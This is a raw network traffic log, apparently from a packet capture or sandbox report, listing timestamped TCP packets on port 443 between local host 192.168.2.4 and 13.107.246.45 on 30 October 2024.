Oct 30, 2024 20:14:21.330948114 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.378726006 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.379098892 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.379108906 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.379488945 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.379493952 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.476365089 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.478986025 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.479032993 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.479384899 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.479412079 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.533278942 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.533441067 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.533515930 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.533526897 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.533570051 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.533617020 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.533715963 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.533726931 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.533735991 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.533740997 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.535840988 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.535881996 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.535970926 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.536084890 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.536099911 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.610551119 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.610594988 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.610673904 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.610832930 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.610857010 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.610908985 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.610924959 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.612720966 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.612798929 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:21.612880945 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.612988949 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:21.613022089 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.060147047 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.060668945 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.060726881 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.061187983 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.061202049 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.069276094 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.070199966 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.070271969 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.070591927 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.070607901 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.191095114 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.191158056 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.191263914 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.191356897 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.191412926 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.191467047 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.191492081 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.191507101 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.194804907 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.194848061 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.195050955 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.195218086 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.195233107 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.205213070 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.205372095 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.205429077 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.205487013 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.205487013 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.205523014 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.205547094 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.207621098 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.207710028 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.207782984 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.207952023 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.207988977 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.287849903 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.288238049 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.288296938 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.288655043 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.288666964 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.354291916 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.359268904 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.359330893 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.360069036 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.360080957 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.419652939 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.419900894 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.420005083 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.420033932 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.420079947 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.420119047 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.420119047 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.420157909 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.420183897 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.422863960 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.422893047 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.422957897 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.423109055 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.423115969 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.487366915 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.487552881 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.487757921 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.487816095 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.487816095 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.487849951 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.487894058 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.490103960 CET	49896	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.490139008 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.490206003 CET	49896	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.490315914 CET	49896	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.490333080 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.970937014 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.973349094 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.973385096 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:22.973932981 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:22.973939896 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.000169039 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.000732899 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.000755072 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.001174927 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.001180887 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.106618881 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.106688976 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.106900930 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.106944084 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.106966972 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.106983900 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.106992006 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.109657049 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.109694004 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.109801054 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.109899998 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.109908104 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.136086941 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.136169910 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.136286974 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.136332035 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.136353970 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.136370897 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.136378050 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.138380051 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.138416052 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.138590097 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.138739109 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.138753891 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.162375927 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.162811995 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.162826061 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.163239956 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.163247108 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.223561049 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.224026918 CET	49896	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.224059105 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.224438906 CET	49896	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.224443913 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.291505098 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.291724920 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.291790962 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.291806936 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.291853905 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.291901112 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.291919947 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.291939974 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.291939974 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.291946888 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.291956902 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.294382095 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.294411898 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.294512987 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.294646978 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.294658899 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.354928017 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.355195999 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.355278015 CET	49896	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.355413914 CET	49896	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.355427027 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.355437994 CET	49896	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.355443954 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.357554913 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.357592106 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.357671976 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.357777119 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.357798100 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.845455885 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.846733093 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.846744061 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.847184896 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.847188950 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.914401054 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.915435076 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.915472984 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.915874004 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.915879965 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.976332903 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.976356983 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.976404905 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.976439953 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.976486921 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.976680994 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.976680994 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.976696968 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.976706028 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.979180098 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.979208946 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:23.979285955 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.979413033 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:23.979420900 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.051394939 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.051578045 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.051693916 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.052050114 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.052076101 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.052088022 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.052084923 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.052093983 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.053457022 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.053471088 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.058075905 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.058085918 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.059737921 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.059789896 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.059870958 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.060003996 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.060026884 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.100368023 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.100739002 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.100761890 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.101138115 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.101145983 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.184071064 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.184243917 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.184298992 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.184323072 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.184334993 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.184345007 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.184350967 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.186824083 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.186850071 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.186916113 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.187038898 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.187047958 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.234893084 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.234951019 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.235008955 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.235143900 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.235168934 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.235183954 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.235191107 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.237318993 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.237348080 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.237425089 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.237550974 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.237565041 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.712706089 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.713109970 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.713123083 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.713527918 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.713532925 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.806102037 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.806566000 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.806587934 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.807014942 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.807020903 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.846870899 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.846895933 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.846937895 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.846946001 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.846982002 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.847198009 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.847208977 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.847233057 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.847238064 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.849693060 CET	49905	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.849729061 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.849797010 CET	49905	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.849908113 CET	49905	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.849920988 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.937995911 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.938160896 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.938224077 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.938338041 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.938357115 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.938369989 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.938376904 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.940291882 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.940320015 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.940395117 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.940527916 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.940538883 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.966435909 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.966798067 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.966806889 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.967197895 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.967202902 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.971357107 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.971636057 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.971645117 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:24.971951962 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:24.971956015 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.105096102 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.105216026 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.105279922 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.105652094 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.105670929 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.105684996 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.105690002 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.108284950 CET	49907	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.108310938 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.108397961 CET	49907	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.108517885 CET	49907	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.108525038 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.110068083 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.110127926 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.110233068 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.110256910 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.110296965 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.110438108 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.110450983 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.110466003 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.110471010 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.112247944 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.112265110 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.112329006 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.112497091 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.112508059 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.593353033 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.593955994 CET	49905	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.593982935 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.594405890 CET	49905	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.594412088 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.685039043 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.685583115 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.685614109 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.685973883 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.685985088 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.732081890 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.732147932 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.732213020 CET	49905	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.732429028 CET	49905	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.732446909 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.732458115 CET	49905	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.732462883 CET	443	49905	13.107.246.45	192.168.2.4
